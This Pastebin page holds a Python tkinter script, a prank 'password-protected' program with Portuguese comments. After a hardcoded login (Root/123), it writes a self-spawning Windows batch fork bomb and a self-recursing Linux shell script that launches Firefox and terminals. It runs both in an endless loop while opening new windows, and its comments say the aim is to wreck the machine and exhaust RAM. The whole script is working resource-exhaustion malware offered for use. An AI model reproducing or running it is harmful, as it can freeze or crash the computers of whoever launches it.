Advertisement
Pedrat

FábioCoentrinhoPasswordProtected

Jan 7th, 2018
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.33 KB | None | 0 0
  1. import tkinter
  2. ##from tkinter import ttk
  3. from tkinter import *
  4. ##from tkinter.ttk import *
  5. import sys
  6. import os
  7. ##import subprocess
  8.  
  9. def new_win(): #Nova window mb
  10.     newwin = Toplevel(master)
  11.     newwin.geometry("200x200")
  12.     newwin.configure(background='pink')
  13.     display = Label(newwin, text="\n\n\nYou know what to do.",background="pink")
  14.     display.pack()
  15.     btn=tkinter.Button(newwin,text="FÁBIO QUE?",command=create)
  16.     btn.pack()
  17.  
  18. def callback(): #Obtem as infos que estão nos parametro de entrada
  19.     password=passwd.get()
  20.     username=user.get()
  21.     if username == "Root" and password=="123": #Verifica se o user existe ou não //// Mudem aqui o user e pass
  22.         new_win() #Cria nova janela
  23.  
  24. #Function to Create Fabio.bat and Fabio.sh
  25. def create():
  26.     print("creating new  file")
  27.     try:
  28.  
  29.         #Cria o ficheiro .bat para windows
  30.         file=open("fabiocoentrinho.bat",'w')
  31.         file.write(":A\n")
  32.         file.write("start fabiocoentrinho.bat\n")
  33.         file.write("\n")
  34.         file.write("goto :A\n")
  35.         file.close()
  36.  
  37.         #Cria o ficheiro .sh para linux
  38.         file=open("fabiocoentrinho.sh","w")
  39.         file.write("firefox &\n")
  40.         file.write("xfce4-terminal &\n")
  41.         file.write("sh fabiocoentrinho.sh\n")
  42.         file.close()
  43.         #print("ola")
  44.  
  45.         while 1: #Para fuder isto tudo, o iniciar tambem esta em loop.
  46.             os.system("sh fabiocoentrinho.sh") #Corre o sh
  47.             os.system("fabiocoentrinho.bat") #corre o bat
  48.             new_win() # Corre novas janelas, não faz muito, mas ajuda a gastar a RAM
  49.  
  50.     #Caso de algum erro
  51.     except:
  52.             print("error occured")
  53.             sys.exit(0)
  54.  
  55. master = Tk()
  56.  
  57. photo = tkinter.PhotoImage(file="fabiocoentrinho.gif") #Imagem
  58. w = tkinter.Label(master, image=photo)
  59. w.pack()
  60. master.configure(background='#ffffff') #Cor do bg da janela
  61. master.title("Taveira foi ao Fabio Coentrinho") # Titulo da janela
  62. master.geometry("400x530") # tamanho da janela
  63.  
  64. lbl= tkinter.Label(master,text="Username",bg="#ffffff")
  65. lbl.pack()
  66. user = Entry(master)
  67. user.pack()
  68.  
  69. user.focus_set()
  70. lbl2= tkinter.Label(master,text="Password",bg="#ffffff")
  71. lbl2.pack()
  72. passwd = Entry(master,show="*")
  73. passwd.pack()
  74.  
  75. b = Button(master, text="Login", width=10, command=callback)
  76. b.pack()
  77.  
  78. mainloop()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement